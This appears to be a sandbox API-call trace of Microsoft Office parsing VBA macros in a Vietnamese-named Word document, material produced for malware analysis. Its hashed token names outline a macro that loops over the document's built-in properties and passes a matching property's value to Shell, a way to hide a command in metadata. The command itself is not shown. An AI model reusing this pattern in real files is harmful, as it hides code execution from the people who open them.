(syskind=0x3, lcid=0x409, szName="DocumentProperty") returned 0x105626 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dp") returned 0x105cf9 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ActiveDocument") returned 0x105cd3 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BuiltInDocumentProperties") returned 0x10bb5f [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dp") returned 0x105cf9 [0053.281] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="dp" | out: _Dst="dp") returned 0x0 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dp") returned 0x105cf9 [0053.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Value") returned 0x104be4 [0053.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0053.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0053.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0053.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0053.282] CExposedStream::Read () returned 0x0 [0053.282] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a91d90, cb=0x4f8) returned 0x6a91d90 [0053.282] CExposedStream::Release () returned 0x1 [0053.282] CExposedStream::Release () returned 0x0 [0053.283] CExposedStream::Release () returned 0x0 [0053.283] IMalloc:Free (This=0x7feffc15380, pv=0x69e8540) [0053.283] IMalloc:Free (This=0x7feffc15380, pv=0x69e6510) [0053.283] IMalloc:Free (This=0x7feffc15380, pv=0x6a81d60) [0053.283] IMalloc:Free (This=0x7feffc15380, pv=0x6a7fd30) [0053.283] CExposedStream::Seek () returned 0x80030102 [0053.283] CExposedStream::Release () returned 0x0 [0053.283] IMalloc:Free (This=0x7feffc15380, pv=0x407e9b0) [0053.283] lstrcpyA (in: lpString1=0x2e37a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0053.283] CExposedDocFile::Stat () returned 0x0 [0053.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e37a7c, cbMultiByte=-1, lpWideCharStr=0x127a80, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0053.283] CExposedDocFile::OpenStream () returned 0x0 [0053.283] CExposedDocFile::AddRef () returned 0x3 [0053.283] CExposedStream::Stat () returned 0x0 [0053.283] CExposedStream::Read () returned 0x0 [0053.283] lstrlenA (lpString="") returned 0 [0053.283] lstrcpyA (in: lpString1=0x2d1df70, lpString2="" | out: lpString1="") returned="" [0053.284] lstrcpynA (in: lpString1=0x2e38a80, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0053.284] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0053.284] lstrcpyA (in: lpString1=0x2e38cc0, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0053.284] lstrcpynA (in: lpString1=0x2e38d20, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0053.284] lstrlenA (lpString="50, 50, 793, 557, ") returned 18 [0053.284] lstrcpyA (in: lpString1=0x2d1dfb0, lpString2="50, 50, 793, 557, " | out: lpString1="50, 50, 793, 557, ") returned="50, 50, 793, 557, " [0053.284] CExposedDocFile::OpenStream () returned 0x0 [0053.287] CExposedStream::Stat () returned 0x0 [0053.287] CExposedStream::Read () returned 0x0 [0053.287] CExposedStream::Release () returned 0x0 [0053.287] lstrcpyA (in: lpString1=0x2d1df90, lpString2="" | out: lpString1="") returned="" [0053.287] lstrcmpiA (lpString1="ThisDocument", lpString2="ThisDocument") returned 0 [0053.287] lstrlenA (lpString="ThisDocument") returned 12 [0053.288] atoi (_Str="393222000") returned 393222000 [0053.288] lstrcpynA (in: lpString1=0x2d1cb4c, lpString2="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}", iMaxLength=39 | out: lpString1="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}") returned="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}" [0053.288] StringFromGUID2 (in: rguid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x699c428, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0053.288] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}") returned -1 [0053.288] lstrlenA (lpString="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}") returned 38 [0053.288] lstrlenA (lpString="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}") returned 38 [0053.288] lstrlenA (lpString="{AB17AD50-EFAB-49EC-BAFA-46AC852BE6F0}") returned 38 [0053.288] CExposedStream::Commit () returned 0x0 [0053.288] CExposedStream::Release () returned 0x0 [0053.288] CExposedDocFile::OpenStream () returned 0x80030002 [0053.288] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0053.289] lstrlenA (lpString="&H00000001") returned 10 [0053.289] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0053.289] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0053.289] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0053.289] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0053.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d1df70, cbMultiByte=-1, lpWideCharStr=0x127ab0, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0053.289] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0x2e37bcc | out: pclsid=0x2e37bcc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0053.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d1df97, cbMultiByte=-1, lpWideCharStr=0x127aa0, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0053.290] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0053.290] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=8, lpWideCharStr=0x4233e28, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0053.290] lstrlenA (lpString="Project") returned 7 [0053.290] GetCurrentThreadId () returned 0x8d0 [0053.290] GetCurrentThreadId () returned 0x8d0 [0053.290] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66d48a0 [0053.290] GetCursorPos (in: lpPoint=0x127ca0 | out: lpPoint=0x127ca0*(x=1416, y=740)) returned 1 [0053.290] GetCapture () returned 0x0 [0053.290] WindowFromPoint (Point=0x2e400000588) returned 0x50024 [0053.290] GetWindowThreadProcessId (in: hWnd=0x50024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0053.290] SendMessageA (hWnd=0x50024, Msg=0x84, wParam=0x0, lParam=0x2e40588) returned 0x1 [0053.290] SendMessageA (hWnd=0x50024, Msg=0x20, wParam=0x50024, lParam=0x2000001) returned 0x0 [0053.294] SetCursor (hCursor=0x10007) returned 0x10007 [0053.295] GetCurrentThreadId () returned 0x8d0 [0053.295] GetCurrentThreadId () returned 0x8d0 [0053.296] CExposedDocFile::CreateStorage () returned 0x0 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0x280) returned 0x68f9c40 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0x1738) returned 0x6a978b0 [0053.296] GetLocalTime (in: lpSystemTime=0x1274e8 | out: lpSystemTime=0x1274e8*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0xf3)) [0053.296] _ultow_s (in: _Value=0x5e132abf, _Buffer=0x68f9c6a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5e132abf") returned 0x0 [0053.296] wcsncpy_s (in: _Destination=0x1271b0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.296] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x1270e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.296] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 23 [0053.296] wcscpy_s (in: _Destination=0x69f9228, _SizeInWords=0xe, _Source="*\\Z025e132abf" | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.296] wcsncpy_s (in: _Destination=0x1271f0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.296] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x127120, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.296] CExposedDocFile::AddRef () returned 0x2 [0053.296] CExposedDocFile::AddRef () returned 0x2 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0x699ac40 [0053.296] wcscpy_s (in: _Destination=0x699acb0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0053.296] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x180) returned 0x688ff00 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ade10 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69add50 [0053.296] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x68ffcf0 [0053.296] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x80) returned 0x6a7fd60 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x68fff40 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6900190 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66d45a0 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x67db140 [0053.297] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x126e5c, cchData=6 | out: lpLCData="1252") returned 5 [0053.297] atoi (_Str="1252") returned 1252 [0053.297] GetLocalTime (in: lpSystemTime=0x126e50 | out: lpSystemTime=0x126e50*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0xf3)) [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a7fdf0 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7a0 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a7fe80 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4660 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a7ff10 [0053.297] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a7ff10, cb=0x280) returned 0x68f9ed0 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c620 [0053.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50710 [0053.297] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d50000 [0053.297] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x3eb0000 [0053.298] CExposedDocFile::CreateStream () returned 0x0 [0053.298] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x407e9b0 [0053.298] CExposedStream::AddRef () returned 0x2 [0053.298] CExposedStream::Release () returned 0x1 [0053.298] CExposedStream::Release () returned 0x0 [0053.298] IMalloc:Free (This=0x7feffc15380, pv=0x407e9b0) [0053.298] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0053.298] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x663eb90 [0053.298] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ef0000 [0053.298] VirtualAlloc (lpAddress=0x3eb0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3eb0000 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0053.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0053.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0053.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0053.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") 